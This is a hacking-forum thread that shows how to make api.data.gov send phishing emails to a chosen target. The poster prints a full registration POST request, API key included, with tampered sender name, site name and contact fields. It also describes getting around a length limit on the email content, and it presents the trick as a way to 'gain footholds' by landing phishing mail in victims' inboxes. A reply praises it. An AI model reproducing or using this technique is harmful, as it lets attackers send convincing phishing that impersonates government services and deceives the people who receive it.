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Sending legit phishing emails from *.data.gov

phish

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29.10.2021
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In this thread I will discussion how I was able to customize emails from api.data.gov and send it to a user of my choice. Credit to pom for giving me the idea.
Below is the request that I stumbled across on open.gsa.gov/api/regulationsgov/


Код:
POST /api-umbrella/v1/users.json?api_key=E41mzkIX0ZReJvQbcSFtqhckpqFnTtkcsjFWAx1Z HTTP/1.1
Host: api.data.gov
Content-Length: 521
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: rnd
Origin: https://open.gsa.gov
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://open.gsa.gov/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

user[first_name]=test&user[last_name]=test&user[email]=test@yopmail.com&user[website]=doxbin.co.uk&user[use_description]=test&user[terms_and_conditions]=1&user[registration_source]=gsa-regulations&options[example_api_url]=&options[contact_url]=https://beta.regulations.gov/support&options[site_name]=Regulations.gov+API&options[send_welcome_email]=true&options[email_from_name]=eRulemaking+Help+Desk&options[email_from_address]=&options[verify_email]=true

By inspecting the page we can see all the default values


Turns out all the values are able to be changed in the request on the clients side so that is what I did.

Some issue that I came across was the limit on the first_name parameter, meaning the contents of the email was limited. I was able to bypass this limit restriction using another paramter.

This is a cool method of inboxing phishing emails for example if i was targeting someone on *.data.gov i could craft this fully legit email.
 
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This is awesome.
Yeah, I'm surprised no one else has being using this to gain footholds. The only case I could find was the recent one pom did. That made use of something like this.
I came across multiple government & non-goverment web apps that allow a user to modify the emails contents on the client side so thought I would share this one as I don't have any use for it.
 


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